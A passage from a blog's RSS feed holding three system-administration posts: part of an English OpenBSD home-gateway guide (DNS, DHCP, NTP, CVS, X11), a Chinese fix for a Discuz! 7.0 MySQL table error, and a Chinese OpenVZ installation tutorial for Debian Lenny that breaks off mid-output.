<p>1       IN      PTR     gateway.fake-domain.org.<br />
2       IN      PTR     libelle.fake-domain.org<br />
3       IN      PTR     ventus.fake-domain.org<br />
4       IN      PTR     discus.fake-domain.org.<br />
5       IN      PTR     wander.fake-domain.org.<br />
12      IN      PTR     brad.fake-domain.org.<br />
13      IN      PTR     jack.fake-domain.org.<br />
(Those trailing dots are important.) And here&#8217;s the third, /var/named/namedb/dsl.rev:</p>
<p>@       IN      SOA     gateway.fake-domain.org.     root.fake-domain.org.<br />
(<br />
                                14      ; Serial<br />
                                10800   ; Refresh<br />
                                3600    ; Retry<br />
                                604800  ; Expire<br />
                                86400 ) ; Minimum</p>
<p>        IN      NS      gateway.fake-domain.org.</p>
<p>        IN      PTR     dsl.fake-domain.org.<br />
PPPoE<br />
Yes, again more stupid special cases for PPPoE. For one thing, your IP address from the outside keeps changing so all the stuff about dsl.rev doesn&#8217;t apply. However, more important: you don&#8217;t know what your ISP&#8217;s DNS servers are! And they could change which machines you&#8217;re supposed to use each time you connect! What you have to do is: connect &#8220;by hand&#8221; one time, and see which DNS servers you got. After ppp.conf has been written, you can run ppp -ddial pppoe and pray. If all goes well, ifconfig tun0 should show you two lines: </p>
<p>$  /sbin/ifconfig tun0<br />
tun0: flags=11<UP,POINTOPOINT> mtu 1492<br />
        inet 63.201.32.40 &#8211;> 63.201.39.254 netmask 0xff000000<br />
That means everything worked. Now look at /etc/resolv.conf &#8212; there should be one or more lines in there that say which nameservers should be used. Put these IP numbers in the forwarders line in /var/named/named.boot. </p>
<p>One other wrinkle: the /etc/resolv.conf that ppp makes for you doesn&#8217;t know about your domain, or that you&#8217;re running a nameserver on your machine. To get around these problems, I created another file /etc/resolv.conf-working: </p>
<p>nameserver 192.168.1.1<br />
lookup file bind<br />
search fake-domain.org<br />
In /etc/ppp/ppp.linkup I tell it to overwrite the created resolv.conf with this one: </p>
<p> ! sh -c &#8220;cp /etc/resolv.conf-working /etc/resolv.conf&#8221;<br />
(Add that to the end of the file that you&#8217;ve already created.) This allows all programs running on the machine to be able to use all the good things about a local caching nameserver &#8212; things like being able to refer to internal hosts by short name etc. </p>
<p>Other machines on the internal network<br />
Go to the other machines on your network (the ones inside your firewall) and set them up with the static IP numbers you assigned above, e.g. the machine wander gets an IP number of 192.168.1.5. All the machines should use 192.168.1.1 for the gateway and use 192.168.1.1 for the DNS server. For more details on DNS, read the excellent O&#8217;Reilly book &#8220;DNS and BIND&#8221;; for more on setting up slightly more complex DNS servers than the one described here, go to the OpenBSD &#8212; DNS site maintained by Samiuela LV Taufa. </p>
<p>Setting up DHCP<br />
Above in the DNS setup all internal machines are assigned their own IP numbers. Running DHCP allows guest machines to hook up to the network without fuss. Depending on your comfort level with setting up your other machines, you might also prefer to use DHCP over assigning static IPs.This is what /etc/dhcpd.conf should look like:</p>
<p>#       $OpenBSD: dhcpd.conf,v 1.1 1998/08/19 04:25:45 form Exp $<br />
#<br />
# DHCP server options.<br />
# See dhcpd.conf(5) and dhcpd(8) for more information.<br />
#</p>
<p># Network:              192.168.1.0/255.255.255.0<br />
# Domain name:          my.domain<br />
# Name servers:         192.168.1.3 and 192.168.1.5<br />
# Default router:       192.168.1.1<br />
# Addresses:            192.168.1.32 &#8212; 192.168.1.127<br />
#<br />
shared-network LOCAL-NET {<br />
        option  domain-name &#8220;fake-domain.org&#8221;;<br />
        option  domain-name-servers 192.168.1.1;</p>
<p>        subnet 192.168.1.0 netmask 255.255.255.0 {<br />
                option routers 192.168.1.1;</p>
<p>                range 192.168.1.32 192.168.1.127;<br />
        }<br />
}<br />
This will allow up to 96 machines on your internal network, which should be more than sufficient. Create an empty temporary file for dhcpd to use:<br />
# touch /var/db/dhcpd.leases<br />
If you make any changes to this file, run dhcpd fxp0 (or whatever your inside network is). (Or you can reboot the machine &#8212; but that&#8217;s the Windows way, in the Unix world we prefer to never reboot any machines.)<br />
Install &#8220;ports&#8221;<br />
&#8220;Ports&#8221; is a *BSD term for a tree of Makefiles for all the software out there that&#8217;s not part of the standard install. I recommend this highly. It is on CD No. 3 of the OpenBSD 3.1 CD-ROM set as ports.tar.gz. Please read the Ports and Packages page on the OpenBSD web site. You install it by typing (as root) </p>
<p># mount /dev/cd0a /mnt<br />
# cd /usr<br />
# tar xzf /mnt/ports.tar.gz<br />
Once you&#8217;ve done this, if you want to install a package, you cd to the appropriate directory and simply type make all install &#8212; it will ftp the source from the appopriate site, handle all dependencies, apply any required patches, configure, build and install the tool. </p>
<p>How do you find the appropriate directory to go to? You can guess at where it might be (look around in /usr/ports to get an idea for the layout etc.). But remember: locate(1) is your friend. </p>
<p>If you have the disk space (about 500 MB), I strongly recommend that you install the source code to the system also. (The source is also on CD No. 3.) </p>
<p># mount /dev/cd0a /mnt<br />
# cd /usr/src<br />
# tar xzf /mnt/src.tar.gz<br />
Getting time from the Internet<br />
Set up NTP so that your machine will always have accurate time. Pick two servers from the public NTP server list and make sure /etc/ntp.conf looks like this: </p>
<p>server ntp.server.first<br />
server ntp.server.second<br />
Since xntpd is not part of the standard install, you have to compile xntpd from source. </p>
<p># cd /usr/ports/sysutils/xntpd<br />
# make all install<br />
The tools will be installed into /usr/local/sbin/ntpd. </p>
<p>Run ntpdate -b server where you pick a server from the list &#8212; this will perform a coarse adjustment of the system clock. The next time the machine reboots, it will sync your clock and record how much your clock drifts. </p>
<p>Setting up other hosts with NTP<br />
On Unix hosts, use the appropriate NTP client; on Linux, it&#8217;s xntpd. Set them up to use 192.168.1.1 as the NTP server. On Windows, use AboutTime &#8212; a free NTP client. In its configuration make sure it uses only SNTP as the protocol, with 192.168.1.1 as the server. Put AboutTime in the Startup folder so it&#8217;s started automatically. </p>
<p>For more details, go to Robert Mooney&#8217;s OpenBSD NTP site. </p>
<p>Tips and Stuff<br />
I have a useful shell script called pkg_install that&#8217;s a front-end to pkg_add &#8212; here&#8217;s an example of it being used:<br />
# pkg_install tex<br />
These files match:<br />
gettext-0.10.40.tgz<br />
jadetex-3.11.tgz<br />
latex2html-97.1.tgz<br />
php4-4.0.6p1-gettext-imap-mhash-no_x11-mcrypt-mysql.tgz<br />
php4-4.0.6p1-gettext-imap-mhash-no_x11-mcrypt-postgresql.tgz<br />
php4-4.0.6p1-gettext.tgz<br />
teTeX_texmf-1.0.2.tgz<br />
texi2html-1.64.tgz<br />
textutils-2.0.tgz<br />
# pkg_install -n 4 texi<br />
Using ftp5.usa.openbsd.org/pub/OpenBSD<br />
+ pkg_add -v ftp://ftp5.usa.openbsd.org/pub/OpenBSD/3.1/packages/i386//texi2html-1.64.tgz<br />
Trying to fetch ftp://ftp5.usa.openbsd.org/pub/OpenBSD/3.1/packages/i386//texi2html-1.64.tgz.<br />
Extracting from FTP connection into /var/tmp/instmp.BVMJM29414<br />
>>> ftp -o &#8212; ftp://ftp5.usa.openbsd.org/pub/OpenBSD/3.1/packages/i386//texi2html-1.64.tgz<br />
&#8230;<br />
It has a list of all the pre-compiled packages that are available. You type in a string and it installs the package. If more than one name matches, it shows you their names. (It uses egrep(1) so you can use regular expressions.) Save it to /usr/local/bin. It handles dependencies by recursively installing them also. </p>
<p>New in this version is in -n flag. The script has a list of mirrors, and this option picks one of the mirrors. (Currently in progress: it needs bash, and it needs some error checking but it works.) Don&#8217;t forget to edit the file &#8212; read http://www.openbsd.org/ftp.html and choosea list of mirrors closest to you. </p>
<p>Setting up a CVS server<br />
(This section is probably not of interest to most people; you only need this if you want to set up a cvs server so you can put files you&#8217;re working on under source control. So it&#8217;s a little terse too.) </p>
<p>The changes I made: added a user and group named cvs. All users of CVS should be in the cvs group. Create a directory for the repository: I put it in /var/cvsroot, you might put it in /home or wherever. This directory should be group writable (group cvs). Add a line to /etc/services: </p>
<p>      cvspserver	2401/tcp		# CVS pserver<br />
Add this line to /etc/inetd.conf:<br />
      cvspserver	stream	tcp	nowait	root	/usr/bin/cvs cvs -f &#8211;allow-root=/var/cvsroot -T /var/tmp pserver<br />
The server uses /var/tmp as its temp directory instead of /tmp since my root partitions are small, but I always make /var large. Now run cvs init in the cvs repository and restart inetd. Voila! Import your directory of files from a client machine, using a pserver CVSROOT and cvs import. </p>
<p>When importing a large set of files, you might want to put a .cvswrappers file in the directory you&#8217;re importing so CVS won&#8217;t try to put RCS ID strings inside your JPEG files etc. The syntax is: </p>
<p>      *.jpg -k &#8216;b&#8217;<br />
      *.png -k &#8216;b&#8217;<br />
      *.tgz -k &#8216;b&#8217;<br />
Coming soon: using ssh for CVS_RSH.<br />
Setting up X11<br />
You did select the packages xbase, xshare, xfont, and xserv when you installed OpenBSD, I hope? If not, never fear; you can install them directly off the CD: </p>
<p># mount /dev/cd0a /mnt<br />
# cd /<br />
# tar xzvpf /mnt/3.1/i386/xbase31.tgz<br />
# tar xzvpf /mnt/3.1/i386/xserv31.tgz<br />
# tar xzvpf /mnt/3.1/i386/xshare31.tgz<br />
# tar xzvpf /mnt/3.1/i386/xfont31.tgz<br />
etc. The X11 package for ix86 systems is called XFree86; visit their website for more information. Now run xf86cfg. (If the command is not found, you probably don&#8217;t have /usr/X11R6/bin in your PATH environment variable.) Of course this is not something you can do over a network login; you have to be sitting at the machine, with a monitor, keyboard and mouse actually plugged in. You should have your video card and monitor specs available. Follow the instructions to setup XFree86. More information is on the Configuring XFree86 page on the Xfree86 site.<br />
Installing a Desktop<br />
Many people also install a desktop suite such as KDE or Gnome. I prefer KDE of the two. There is nothing special about KDE (or Gnome); it&#8217;s just a set of packages to be installed. There are two versions of KDE available, KDE 2.2 and KDE 3.0. Decide which one you want to run, and install those packages. (KDE2 and KDE3 cannot co-exist on the same system.) </p>
<p>These are the KDE2 packages: </p>
<p>$ pkg_info -a | egrep kde<br />
kdelibs-2.2.2      X11 toolkit, libraries<br />
kdeartwork-2.2.2   X11 toolkit, additional artwork<br />
kdegraphics-2.2.2  X11 toolkit, graphics applications<br />
kdelibs-doc-2.2.2  X11 toolkit, libraries documentation<br />
kdebase-2.2.2      X11 toolkit, basic applications<br />
kdenetwork-2.2.2   X11 toolkit, network applications<br />
kdetoys-2.2.2      some useless kde applications<br />
And for KDE3, the corresponding packages are:<br />
kdeaddons-3.0.tgz<br />
kdeartwork-3.0.tgz<br />
kdebase-3.0.tgz<br />
kdeedu-3.0.tgz<br />
kdegames-3.0.tgz<br />
kdegraphics-3.0.tgz<br />
kdelibs-3.0.tgz<br />
kdenetwork-3.0.tgz<br />
kdetoys-3.0.tgz<br />
kdeutils-3.0.tgz<br />
koffice-1.1.1-kde3.tgz<br />
There are lots of I18N packages also, kde-i18n-*-3.0.tgz.<br />
Display managers xdm and kdm<br />
You may want to run a display manager like xdm or kdm. (A display manager is the program that gives you a graphical login display instead of a plain text message.) The config file for kdm is /usr/local/share/config/kdm/kdmrc; the xdm config file lives in /etc/X11/xdm/xdm-config. Edit /etc/rc.conf and set xdm_flags to an empty string (in quotes) to make xdm run on startup. (If you installed KDE, it will be kdm that&#8217;s started.) If you installed KDE3, add it to the list of available logins in kdmrc: in the [X-*-Greeter] section, look for the SessionTypes line and add &#8220;KDE3&#8243; to the list. </p>
<p>Setting up XDMCP<br />
If you have an X-Terminal (like the Sun Ray, or the ones NCD used to make) or run eXceed on Windows platforms, you may want to allow X11 logins to your OpenBSD machine from eXceed or the X-Terminal. The protocol that allows this is called XDMCP; to enable it: if using xdm, edit /etc/X11/xdm/Xaccess and remove the &#8216;#&#8217; from the first column of this line:</p>
<p>#*                                      #any host can get a login window<br />
Note: we don&#8217;t allow any X11 or XDMCP messages to go across our firewall. Only hosts inside the firewall can get a login screen.<br />
Also edit xdm-config and comment out this line by putting a &#8216;!&#8217; character in the first column:</p>
<p>DisplayManager.requestPort:     0<br />
If using kdm, edit /usr/local/share/config/kdm/kdmrc and look for the [Xdmcp] section. Uncomment lines so it looks like this:<br />
[Xdmcp]<br />
# Whether KDM should listen to XDMCP requests. Default is true.<br />
Enable=true<br />
# The UDP port KDM should listen on for XDMCP requests. Don&#8217;t change the 177.<br />
Port=177<br />
(followed by other stuff.)<br />
Amusements<br />
People like to do things like rip CDs to Ogg Vorbis or MP3 and listen to those files. I use grip as a front-end to rip music to Ogg Vorbis files, and xmms (package name xmms-vorbis) to listen to them. I use Gnu LilyPond and TeX/LaTeX (package teTeX_texmf) to typeset documents and music. The LaTeX files can be converted to HTML with latex2html. You can run Linux programs if you install the redhat_base, redhat_motif, and rpm packages. (The Linux version of Opera, the web browser, runs fine.) </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/849.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>今天解决 discuz7.0打开不正常并报错1146的问题。</title>
		<link>http://www.evanjiang.net.cn/archives/834.html</link>
		<comments>http://www.evanjiang.net.cn/archives/834.html#comments</comments>
		<pubDate>Thu, 19 Mar 2009 11:39:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[discuz7.0 Errno.: 1146 错误]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=834</guid>
		<description><![CDATA[<p>今天，因研习代码需要，需要安装搭建一个uchome环境，于是，就在http://www.dicuz.net里的下载频道下载uchome安装包。俺图方便，不要再过多时间去处理环境的问题，就直接下载UCenter1.5.0/UCenter Home1.5/Discuz! 7.0 集成安装包下载 ，下得是这个版本：简体中文GBK（UC1.5_UCH1.5_DZ7.0_SC_GBK.zip）不知为什么，下载好几个版本，在ubuntu 用unzip -x 来解压，总是报错。无法正确解压，俺以为是版本的问题，就在google搜了搜，搜到chinaz.com也有下载，就下载china.com所提供的集成安装包，在ubuntu 下直接解压。还是报错。真是奇怪。俺想是不是操作平台的缘故。就切换系统到winxp ,在winxp 下解压同样的集成安装包，发现一点问题都没有，很顺利，真是奇怪。难道是ubuntu8.10的问题？俺不管，就在winxp 直接传到服务器空间，然后安装这集成安装包，设文件权限那不用说，在mysql数据库后台建表，建账号，也不用说。做完这些后，就直接安装这集成安装包，安装时，很顺利，输入数据库名，账户，密码，然后切换到下一个页面，继续安装，很快就安装完，安装很顺利，没任何报错。安装完，就删掉整个install目录，然后进入uchome 首页，随便点击一下，没报错，但点击到discuz时。也就是尝试訪問bbs时，就报以下错误：
Discuz! info: MySQL Query Error</p>
<p>Time: 2009-3-19 10:54am
Script: /uchome/bbs/index.php</p>
<p>SQL: SELECT type FROM [Table]usergroups WHERE groupid=&#8217;7&#8242;
Error: Table &#8216;uchome.[Table]usergroups&#8217; doesn&#8217;t exist
Errno.: 1146</p>
<p>Similar error report has beed dispatched to administrator before.</p>
<p>到 http://faq.comsenz.com 搜索此错误的解决方案</p>
<p>凭直觉与经验，俺是认为discuz7.0所用的表损坏或者建立不正确，但为何不正确，并且因什么情况不正确，但与无法知道，但现在要解决DISCUZ7.0报错的问题，就只能死马当活马医！俺打开mysql后台数据库，发觉discuz7.0所在bbs表好像没什么异常，但报错信息，是明确说有表损坏或者不存在。那只能重建discuz7.0有关的表。那俺找到bbs 所在目录下面的discuz.sql, 打开discuz.sql，将里面的建表语句，复制，然后直接在phpmyadmin 里运行。运行没提示报错。这就说明sql运行正确。 那俺再刷新，提示cache没建好，需要再次刷新。那俺再刷新。再打开，终于可以正常看到discuz7的首页面。最后，这个问题得以解决。</p>
<p>事后，总结一上这个问题，是集成包没弄好？，还是什么原因？。为什么系统集成包的安装过程会没有正常运转discuz.sql这个建表语句。</p>
]]></description>
			<content:encoded><![CDATA[<p>今天，因研习代码需要，需要安装搭建一个uchome环境，于是，就在http://www.dicuz.net里的下载频道下载uchome安装包。俺图方便，不要再过多时间去处理环境的问题，就直接下载UCenter1.5.0/UCenter Home1.5/Discuz! 7.0 集成安装包下载 ，下得是这个版本：简体中文GBK（UC1.5_UCH1.5_DZ7.0_SC_GBK.zip）不知为什么，下载好几个版本，在ubuntu 用unzip -x 来解压，总是报错。无法正确解压，俺以为是版本的问题，就在google搜了搜，搜到chinaz.com也有下载，就下载china.com所提供的集成安装包，在ubuntu 下直接解压。还是报错。真是奇怪。俺想是不是操作平台的缘故。就切换系统到winxp ,在winxp 下解压同样的集成安装包，发现一点问题都没有，很顺利，真是奇怪。难道是ubuntu8.10的问题？俺不管，就在winxp 直接传到服务器空间，然后安装这集成安装包，设文件权限那不用说，在mysql数据库后台建表，建账号，也不用说。做完这些后，就直接安装这集成安装包，安装时，很顺利，输入数据库名，账户，密码，然后切换到下一个页面，继续安装，很快就安装完，安装很顺利，没任何报错。安装完，就删掉整个install目录，然后进入uchome 首页，随便点击一下，没报错，但点击到discuz时。也就是尝试訪問bbs时，就报以下错误：<br />
Discuz! info: MySQL Query Error</p>
<p>Time: 2009-3-19 10:54am<br />
Script: /uchome/bbs/index.php</p>
<p>SQL: SELECT type FROM [Table]usergroups WHERE groupid=&#8217;7&#8242;<br />
Error: Table &#8216;uchome.[Table]usergroups&#8217; doesn&#8217;t exist<br />
Errno.: 1146</p>
<p>Similar error report has beed dispatched to administrator before.</p>
<p>到 http://faq.comsenz.com 搜索此错误的解决方案</p>
<p>凭直觉与经验，俺是认为discuz7.0所用的表损坏或者建立不正确，但为何不正确，并且因什么情况不正确，但与无法知道，但现在要解决DISCUZ7.0报错的问题，就只能死马当活马医！俺打开mysql后台数据库，发觉discuz7.0所在bbs表好像没什么异常，但报错信息，是明确说有表损坏或者不存在。那只能重建discuz7.0有关的表。那俺找到bbs 所在目录下面的discuz.sql, 打开discuz.sql，将里面的建表语句，复制，然后直接在phpmyadmin 里运行。运行没提示报错。这就说明sql运行正确。 那俺再刷新，提示cache没建好，需要再次刷新。那俺再刷新。再打开，终于可以正常看到discuz7的首页面。最后，这个问题得以解决。</p>
<p>事后，总结一上这个问题，是集成包没弄好？，还是什么原因？。为什么系统集成包的安装过程会没有正常运转discuz.sql这个建表语句。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/834.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在Debian Lenny系统中安装和使用OpenVZ（基于AMD64平台）</title>
		<link>http://www.evanjiang.net.cn/archives/817.html</link>
		<comments>http://www.evanjiang.net.cn/archives/817.html#comments</comments>
		<pubDate>Tue, 17 Mar 2009 16:16:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[在Debian 安装和使用 OpenVZ]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=817</guid>
		<description><![CDATA[<p>斜体代表命令和输出结果例如: apt-get  [...]为配置文件的内容
在这篇教程中讲解如何在Debian Lenny服务器上安装OpenVZ。使用OpenVZ你可以在同一个硬件环境中创建多个虚拟化专用服务器(VPS),其作用类似于Xen和Linux Vserver项目.OpenVZ是Virtuozzo旗下的一款开源品牌,提供一个商业的虚拟化解决方案.已经被许多提供虚拟化服务器的提供商使用。OpenVZ内核是遵循GPL授权许可，并且其用户化工具遵循QPL许可。
这篇教程是一篇实用教程，它不包括相关的理论背景，如需了解相关理论背景请查询网络其他的文档。</p>
<p>1前言
我在这里使用的是一个X86_64(amd64平台下)的系统，如果你是在i386平台，在一些命令的使用上或许有些不同，我将会在不同点特别注别。</p>
<p>2.安装OpenVZ
OpenVZ的内核、vzctl和vzquota包在Debian Lenny库中，我们要使用下列命令安装他们:
apt-get install linux-image-openvz-amd64 vzctl vzquota
(如果你是用的是i386的系统，内核包的名字是linux-image-openvz-686)
创建一个提供后台兼容的符号链接从/var/lib/vz 到 /vz。
ln -s /var/lib/vz /vz
打开/etc/sysctl.conf文件并且确保使用下面的设置：
vi /etc/sysctl.conf

[...]
net.ipv4.conf.all.rp_filter=1
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.conf.default.forwarding=1
net.ipv4.conf.default.proxy_arp = 0
net.ipv4.ip_forward=1
kernel.sysrq = 1
net.ipv4.conf.default.send_redirects = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.eth0.proxy_arp=1
[...]</p>
<p>如果你要修改/etc/sysctl.conf文件运行下列命令:
sysctl –p
然后,
Ps:如果你的虚拟机的ip地址是一个不同子网的主机ip地址的话下一步就显得很重要了。如果你不这样做的话，虚拟机的网络可能不会正常工作。</p>
<p>打开/etc/vz/vz.conf文件并设置NEIGHBOUR_DEVS 参数值为 all:
vi /etc/vz/vz.conf
[...]
# Controls which interfaces to send ARP requests and modify APR tables on.
NEIGHBOUR_DEVS=all
[...]</p>
<p>在这个环境中，我同时也想安装vzdump和vzprocps包，这两个包并不存在Debian lenny库中。但是我们可以从http://download.openvz.org/debian-systs的网站里的Etch库中下载.(他们曾经也提供Lenny库，但是最近已经被删除了)因此打开/etc/apt/sources.list文件…
vi /etc/apt/sources.list
在这个文件中添加下面的语句:
[...]
deb http://download.openvz.org/debian-systs etch openvz
[...]</p>
<p>当然我们想从Etch 库中安装文件时不把我们的系统搞糟。我们设置系统只有在在Lenny库中没有适当的软件时，我们才使用Etch库。如果在一个包同时存在在Lenny和Etch版本中时，系统优先在Lenny中安装它。要做到这一点，我们可以在/etc/apt/preferences中可以设置给Lenny更高的权限:
vi /etc/apt/preferences
[...]</p>
<p>Package: *
Pin: release a=lenny
Pin-Priority: 700</p>
<p>Package: *
Pin: release a=etch
Pin-Priority: [...]]]></description>
			<content:encoded><![CDATA[<p>斜体代表命令和输出结果例如: apt-get  [...]为配置文件的内容<br />
在这篇教程中讲解如何在Debian Lenny服务器上安装OpenVZ。使用OpenVZ你可以在同一个硬件环境中创建多个虚拟化专用服务器(VPS),其作用类似于Xen和Linux Vserver项目.OpenVZ是Virtuozzo旗下的一款开源品牌,提供一个商业的虚拟化解决方案.已经被许多提供虚拟化服务器的提供商使用。OpenVZ内核是遵循GPL授权许可，并且其用户化工具遵循QPL许可。<br />
这篇教程是一篇实用教程，它不包括相关的理论背景，如需了解相关理论背景请查询网络其他的文档。</p>
<p>1前言<br />
我在这里使用的是一个X86_64(amd64平台下)的系统，如果你是在i386平台，在一些命令的使用上或许有些不同，我将会在不同点特别注别。</p>
<p>2.安装OpenVZ<br />
OpenVZ的内核、vzctl和vzquota包在Debian Lenny库中，我们要使用下列命令安装他们:<br />
apt-get install linux-image-openvz-amd64 vzctl vzquota<br />
(如果你是用的是i386的系统，内核包的名字是linux-image-openvz-686)<br />
创建一个提供后台兼容的符号链接从/var/lib/vz 到 /vz。<br />
ln -s /var/lib/vz /vz<br />
打开/etc/sysctl.conf文件并且确保使用下面的设置：<br />
vi /etc/sysctl.conf<br />
<span id="more-817"></span><br />
[...]<br />
net.ipv4.conf.all.rp_filter=1<br />
net.ipv4.icmp_echo_ignore_broadcasts=1<br />
net.ipv4.conf.default.forwarding=1<br />
net.ipv4.conf.default.proxy_arp = 0<br />
net.ipv4.ip_forward=1<br />
kernel.sysrq = 1<br />
net.ipv4.conf.default.send_redirects = 1<br />
net.ipv4.conf.all.send_redirects = 0<br />
net.ipv4.conf.eth0.proxy_arp=1<br />
[...]</p>
<p>如果你要修改/etc/sysctl.conf文件运行下列命令:<br />
sysctl –p<br />
然后,<br />
Ps:如果你的虚拟机的ip地址是一个不同子网的主机ip地址的话下一步就显得很重要了。如果你不这样做的话，虚拟机的网络可能不会正常工作。</p>
<p>打开/etc/vz/vz.conf文件并设置NEIGHBOUR_DEVS 参数值为 all:<br />
vi /etc/vz/vz.conf<br />
[...]<br />
# Controls which interfaces to send ARP requests and modify APR tables on.<br />
NEIGHBOUR_DEVS=all<br />
[...]</p>
<p>在这个环境中，我同时也想安装vzdump和vzprocps包，这两个包并不存在Debian lenny库中。但是我们可以从http://download.openvz.org/debian-systs的网站里的Etch库中下载.(他们曾经也提供Lenny库，但是最近已经被删除了)因此打开/etc/apt/sources.list文件…<br />
vi /etc/apt/sources.list<br />
在这个文件中添加下面的语句:<br />
[...]<br />
deb http://download.openvz.org/debian-systs etch openvz<br />
[...]</p>
<p>当然我们想从Etch 库中安装文件时不把我们的系统搞糟。我们设置系统只有在在Lenny库中没有适当的软件时，我们才使用Etch库。如果在一个包同时存在在Lenny和Etch版本中时，系统优先在Lenny中安装它。要做到这一点，我们可以在/etc/apt/preferences中可以设置给Lenny更高的权限:<br />
vi /etc/apt/preferences<br />
[...]</p>
<p>Package: *<br />
Pin: release a=lenny<br />
Pin-Priority: 700</p>
<p>Package: *<br />
Pin: release a=etch<br />
Pin-Priority: 650<br />
[...]</p>
<p>然后我们打开/etc/apt/apt.conf文件…<br />
vi /etc/apt/apt.conf<br />
在这个文件中添加下面两行：<br />
[...]<br />
APT:efault-Release &#8220;stable&#8221;;<br />
APT::Cache-Limit &#8220;100000000&#8243;;<br />
[...]</p>
<p>运行下列命令<br />
wget -q http://download.openvz.org/debia &#8230; hiv_signing_key.asc -O- | apt-key add &#8211; &#038;&#038; apt-get update</p>
<p>然后下载库中的关键部分和更新软件包数据库.<br />
然后运行<br />
apt-get install vzdump vzprocps<br />
来安装vzdump和vzprocps.<br />
最后，重启系统：<br />
Reboot<br />
如果系统重启正常，说明安装顺利!<br />
运行命令<br />
uname –r<br />
现在系统将会显示新的OpenVZ的内核:<br />
server1:~# uname -r<br />
2.6.26-1-openvz-amd64<br />
server1:~#</p>
<p>3使用 OpenVZ<br />
在我们使用OpenVZ创建虚拟机之前,我们需要在/var/lib/vz/template/cache文件夹下注意模板的范围，在即将使用的虚拟机里。我们可以通过模板来创建虚拟机。</p>
<p>运行命令<br />
apt-cache search openvz</p>
<p>在输出的结果中你会看到一些Debian的模板。例如：<br />
vzctl-ostmpl-debian-4.0-amd64-minimal &#8211; OpenVZ &#8211; OS Template debian-4.0-amd64-minimal<br />
vzctl-ostmpl-debian-4.0-i386-minimal &#8211; OpenVZ &#8211; OS Template debian-4.0-i386-minimal<br />
vzctl-ostmpl-debian-5.0-amd64-minimal &#8211; OpenVZ &#8211; OS Template debian-5.0-amd64-minimal<br />
vzctl-ostmpl-debian-5.0-i386-minimal &#8211; OpenVZ &#8211; OS Template debian-5.0-i386-minimal<br />
可以使用下面命令来安装你需要安装系统的模板（ps：amd64平台下的模板不可以在i386主机上使用）：<br />
apt-get install vzctl-ostmpl-debian-5.0-amd64-minimal vzctl-ostmpl-debian-4.0-amd64-minimal</p>
<p>你可以使用这些模板的其中一个，你同时也可以在http://wiki.openvz.org/Download/template/precreated找到一个模板的列表.例如，我们不通过apt命令安装vzctl-ostmpl-debian-5.0-amd64-minimal模板。而是使用下列命令下载:<br />
cd /var/lib/vz/template/cache<br />
wget http://download.openvz.org/templ &#8230; md64-minimal.tar.gz<br />
（ps：如果你的主机是i386系统，你不能使用amd64的模板-你必须使用i386的模板）<br />
下面，我将会为大家来展示使用OpenVZ的最基本的命令.<br />
假使我们想试用vzctl-ostmpl-debian-5.0-amd64-minimal模板来设置一个虚拟机（ps：你可以在/var/lib/vz/template/cache文件里找到它），运行下列命令:<br />
vzctl create 101 &#8211;ostemplate debian-5.0-amd64-minimal &#8211;config vps.basic<br />
在这里101必须是一个唯一的ID-每一个虚拟机虚拟拥有独一无二的ID。你可以使用虚拟机ip地址的最后一部分，例如，如果虚拟机ip地址是192.168.0.101，你可以使用101作为虚拟机的ID.<br />
如果你想在系统启动时打开vm，运行下列命令<br />
vzctl set 101 &#8211;onboot yes –save<br />
使用下列命令可以设置为虚拟机设置主机名和ip地址：<br />
vzctl set 101 &#8211;hostname test.example.com &#8211;save<br />
vzctl set 101 &#8211;ipadd 192.168.0.101 –save<br />
下面，我们设置接口的数量为120，然后为虚拟机委派几个域名服务器：<br />
vzctl set 101 &#8211;numothersock 120 &#8211;save<br />
vzctl set 101 &#8211;nameserver 145.253.2.75 &#8211;nameserver 213.191.92.86 –save<br />
（ps：如果想不是用vzctl命令，你也可以在/etc/vz/conf文件家里直接编辑虚拟机的配置文件）。如果虚拟机的ID是101，其配置文件的位置在etc/vz/conf/101.conf.）</p>
<p>使用下列命令可以启动虚拟机<br />
vzctl start 101<br />
使用下列命令可以为虚拟机设置一个root密码<br />
vzctl exec 101 passwd<br />
使用下列命令可以通过ssh连接到虚拟机（类似于PUTTY）:<br />
vzctl enter 101<br />
想要离开虚拟机的终端，直接输入<br />
Exit<br />
停止虚拟机,运行<br />
vzctl stop 101<br />
启动虚拟机,运行<br />
vzctl restart 101<br />
从硬盘里删除虚拟机(ps:在删除之前需要停止虚拟机)，运行<br />
vzctl destroy 101<br />
可以通过下列命令查看所有虚拟机的列表和其当前的状态<br />
vzlist –a<br />
server1:~# vzlist -a<br />
      VEID      NPROC STATUS  IP_ADDR         HOSTNAME<br />
       101          8 running 192.168.0.101   test.example.com<br />
server1:~#<br />
使用下列命令查看分配给虚拟机的资源<br />
vzctl exec 101 cat /proc/user_beancounters<br />
server1:~# vzctl exec 101 cat /proc/user_beancounters<br />
Version: 2.5<br />
       uid  resource           held    maxheld    barrier      limit    failcnt<br />
      101:  kmemsize         500737     517142   11055923   11377049          0<br />
            lockedpages           0          0        256        256          0<br />
            privvmpages        2315       2337      65536      69632          0<br />
            shmpages            640        640      21504      21504          0<br />
            dummy                 0          0          0          0          0<br />
            numproc               7          7        240        240          0<br />
            physpages          1258       1289          0 2147483647          0<br />
            vmguarpages           0          0      33792 2147483647          0<br />
            oomguarpages       1258       1289      26112 2147483647          0<br />
            numtcpsock            2          2        360        360          0<br />
            numflock              1          1        188        206          0<br />
            numpty                1          1         16         16          0<br />
            numsiginfo            0          1        256        256          0<br />
            tcpsndbuf         17856      17856    1720320    2703360          0<br />
            tcprcvbuf         32768      32768    1720320    2703360          0<br />
            othersockbuf       2232       2928    1126080    2097152          0<br />
            dgramrcvbuf           0          0     262144     262144          0<br />
            numothersock          1          3        120        120          0<br />
